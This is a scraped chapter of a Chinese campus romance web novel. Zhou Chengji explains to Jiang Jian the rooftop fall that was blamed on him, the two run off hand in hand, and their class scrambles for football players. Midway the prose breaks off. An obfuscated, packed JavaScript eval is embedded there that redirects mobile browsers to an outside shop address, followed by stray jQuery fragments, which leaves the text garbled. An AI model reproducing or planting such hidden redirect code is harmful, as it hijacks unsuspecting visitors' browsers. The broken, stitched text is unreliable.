文趣网 > 其他小说 > 暗恋密码[校园] > 17. 第 17 章 拉拉手
    令她意外的是,周呈己没有回避这个问题,甚至脸色如常,只是手上的骨节不明显地再度泛白。

    江笺也曾想过,如果某些事情,对周呈己来说每次想起都是伤害,那么哪怕她好奇心再重,在周呈己身上也是可以收敛的,她可以不知道,但长此以往会怎样呢?因为在周呈己的伤痛面前她是个盲人,所以就很难去回避、去避免重提旧事——她以后,可能还是会不小心踩到周呈己的雷区。

    所以她才想要知道。

    但这也要看周呈己的态度,他才是那个核心,他有权拒绝复述自己的旧伤口。

    可是周呈己却反问她:“你们道听途说的版本是什么样的、”

    江笺愣了一下,他竟然知道。

    “我只想听你说。”江笺笃定道。

    周呈己对于江笺提起这个问题来并不意外,他甚至已经做好准备聊这些,或者他今天……本就是为了聊一些陈年旧事。

    “好啊,那你听我说,你会发现比想象的更简单,”周呈己抬起头来望着天空说道:“我想想,出事那年,你高一,才刚来到柳城一高,而我已经是个土著了。顶楼的天台那时候不是这样子的,鸽子养在东边的小天台上,而这里有个小岗亭,四周都有护栏,学生能上来透透风。那年,有个学姐叫我去天台上表白,我去了,但拒绝了她,她当时就翻过了护栏,威胁我说,不接受的话,她就从这里跳下去。”

    周呈己讲到这里停顿了一下,江笺问道:“所以她真的敢跳?”

    “她没敢,”周呈己说:“护栏断了。”

    原来,这个重伤的学姐,不是跳下去的,也不是被人推下去的,而是因为护栏失修而坠落。

    “当时楼下有遮阳棚,救了她一命,我过去向下看时,她仰面躺在那块蓝色的篷布上,血流了满地。”

    江笺想象那个场景,顿时不寒而栗,怪不得这件事后来被封锁的那么死,她也能想象到当时尝试去拉住学姐的周呈己,在下面的学生看来,他与凶手无异。

    “后来天台被封闭了,护栏彻底拆掉,只用来养鸽子,和平鸽,很好。”周呈己最后说道。

    所有人都在讨论触目惊心的坠楼事件,明着不行就在暗处,却没有一个人替周呈己说一句话。

    因为强制封锁得太过成功,以至于将真相也彻底封锁住。

    说起来,那时候的周呈己,原本在大众的眼里就是个行为孤僻、性情迥异的异类,别人看到他的偏执、他的暴躁便望而生畏,从未有人真正了解过他,所以在旁人的视角下,他推了学姐——毋庸置疑,这就是他能做得出来的事。

    那时候论坛总有一些幽灵贴,晚上八点出现,早上八点又自动消失,就是为了躲避校方的盘查,这些帖子中大部分都与周呈己有关,无数人在这个阴暗晦涩的角落里,肆意定义着周呈己的人格。

    或许还远不止,青春期的男孩女孩,受不了一点挑弄,很快,在网络上无从宣泄的情绪延伸到现实,日复一日地,织成一张铺天盖地的网,巨网之下,是周呈己无法挣脱的灵魂。

    那时他在其他同龄人看来,仿佛身披夜行衣,漂亮迷人,却无比危险。

    江笺想起那时候暗地里针对周呈己的窃窃私语,男生的妒忌、女生的愤愤,全都变成诋毁,江笺像是被人扼住了喉咙,不敢再深想。

    “那个学姐,她后来没有帮你解释吗?”江笺问道。

    她听说学姐住院两个月又回到了学校,幸亏有一道篷布的缓冲,没有造成不可逆转的伤害。

    周呈己说:“她来找过我,道了歉,也说会跟别人解释。只是并没有。”

    他停住了,没有继续说下去,因为就在学姐单独找他道歉的第二天,他就偶然听到,当有人对学姐表示关怀说“他竟然推你也太过分了”的时候,学姐只是说“没关系啦,我不怪他”,却全然没有要解释的意思。

    那时周呈己站在一墙之隔的门外,心情意外地平静,毕竟这不过是他在最近一年里所经历的,相对来说最普通的欺骗了。

    是的,欺骗。按时间顺序,是第二场欺骗。

    水塘边的周呈己握紧了拳,他真的非常、非常地憎恨欺骗。

    “可她间接地让你休学!她怎么能不受到惩罚!”江笺喉咙里仍旧有点堵,眼眶也发热。

    周呈己察觉异样,从水塘边跳下来,双手一左一右地撑在江笺身体两侧,将她圈住,直视着她的眼睛。

    江笺被突然起来的近距离吓了一跳,心里晃动的情绪被迫中止,她愣愣地看着周呈己,这下不只是眼眶发热,简直如同兜头浇了一盆开水。

    他……想干什么?

    这么近,稍微动一下就能接吻的距离……

    不对不对!她怎么可以想这些!

    “你……你干嘛啊……”

    周呈己严峻的脸色骤然轻松,他撤回手来,说道;“还以为你哭了。”

    江笺没看他,说:“你想怎么哄我啊?”

    怎么回事……还有点期待是怎么回事。

    “既然没哭,那就算了,”周呈己继续说道:“我休学的原因与她无关,说起来,直接原因,还是杨老师……你知道的,我在火车上跟你说过。”

    江笺点点头。

    她知道的,那是周呈己遇到的,第三场欺骗。

    “喂!那边两个学生!干什么呢!”教导主任通过大喇叭放大的声音在他们耳旁炸想,江笺嗖地一下就从水塘边上滑了下来。

    “陈修永来抓人了,快跑!”江笺拽了下周呈己的手臂,提醒他逃跑。

    本来只是稍微拽一下的,但不知道是不是周呈己会错了意,反而勾住江笺的两根手指头,他腿长,三两步就变成了周呈己拉着江笺跑。

    “站住!你们哪班的!反了你们!”

    陈修永因为是离得很远就开始呵斥的,本来也只是提醒,他也没想到这两个学生竟然如此猖狂放肆,竟然当着他的面手拉手跑步?!简直岂有此理!

    “站住!”

    陈修永挺着啤酒肚在后面追,追了几步前面的两个猴子似的少年人已经穿过小花园跑得不见踪影了。

    “岂……岂有此理!”陈修永喘得厉害,不知道是累得还是气得,他揉揉自己的眼睛,愈发觉得自己该去配一副眼镜了。

    逃脱了追捕的两个人已经混入后操场来来往往的学生中间,指尖分离之际,江笺感到周呈己的手指终于是他平时正常状态那样热乎乎的,这令她松了口气。

    “手指头要让你拽掉啦。”江笺摸摸自己无名指和小拇指,周呈己还跟小时候一样,自己每次带他淘气,逃跑的时候他都要拽着江笺的后两个小指头。

    “抱歉,那我下次注意,不拽手指,只拉手,可以吗?”周呈己说道。

    “当然,本来就…

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965130|214468||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    …”

    “周呈己!可算找着你了!快来!接力赛了!”是沈付华急匆匆地找过来。

    “来了,”周呈己说道,又对江笺说:“你答应了啊,以后别不认。”

    江笺:?

    总觉得周呈己的样子像是什么事情得逞了似的,但是自己又分明没有吃亏……问题到底出在了哪里?

    接力赛匆忙但顺利地结束了,其实对于摘星班来说,这种群体体力竞赛完全是重在参与,是有三两个跑得快的,大多数的人顶多算是凑个热闹,接下来只剩下足球赛,等比完之后,运动会也就可以闭幕了。

    但是这时,却出了状况。

    “怎么回事啊体委,不是说考虑到特殊情况,咱们九人参赛也没问题的嘛?”

    体委站在一群男生的包围圈里,挠着头解释:“是啊一开始是这么说的,说是会让对手方配合我们减人,但刚才又突然说组不够人就不能参赛了。”

    “那怎么行!全校这么多班,就我们不参赛?丢脸不丢脸!真以为文科班没男生啦!”

    “谁让咱们男生真不够,那现在咋办,本来对手是理科实验班他们已经够猖狂了,现在咱们退赛,多怂啊。”

    “我是女生,我女扮男装参赛?”

    “学校不让!现在就是看看上哪抢两个人去……”

    没办法,摘星班什么都不缺,唯独缺男生,这也是所有文科班级的共同问题的,不过普通班本来人就多,四五十人里面怎么也能凑够十一个人去组成足球队,可摘星偏偏群众基数就小,生拉硬拽连近视一千度的都上场,也不过才九个人。

    “都干什么呢围在这儿?”严兴国注意到他们的情况,走过来问道:“都快比赛了,还不去准备?等我挨个踹你们呐?”

    体委十分委屈地向班主任说明了情况。

    “诶——”体委刚说完,陈砚眨巴着一双眼睛看着班主任,说道:“这不就是我们的第十名队友吗!”

    严兴国:?

    原本柳城一高的传统是运动会最后一部分是教师运动会,最近两年顾忌到学校里老教师比较多,便取消了这一项,改成了班级足球赛。二十多岁正身强体壮的严兴国本来这两天就看得腿痒痒,于是干脆地答应了自家学生们的要求。

    “行,算我一个。”严兴国摩拳擦掌道。

    “好诶!老严靠谱!”

    “严老师带我们飞!咱们至少得进一个球是不是!”

    “对了,那还差一个人呢?”

    大家再一次看向严兴国,严兴国想了想,说道:“等会,我去办公室拉个人。”

    “老师!拉俩更好!我本来的愿望就是想在旁边观摩,”陈砚趁机笑嘻嘻地说道:“我可以给你唱歌当啦啦队。”

    “消停点!咱班啦啦队不缺你一个!”严兴国说道。

    很快,严兴国去而复返,身后跟着一头雾水的政治老师——一位57岁的肚子比足球还圆滚滚的资深老教师。

    体委手里一直拍着的足球在看见政治老师之后一下没接住滚远了。

    “严老师……”众人看着政治老师,欲言又止。

    “咳,是这样,”严兴国自己也意识到有些离谱,说道:“办公室没找着别的老师,这不着急上场么,大家一会儿重在配合,好吧?都尽全力,好不好!”

    然后他停顿了一下,又道;“也……注意安全。”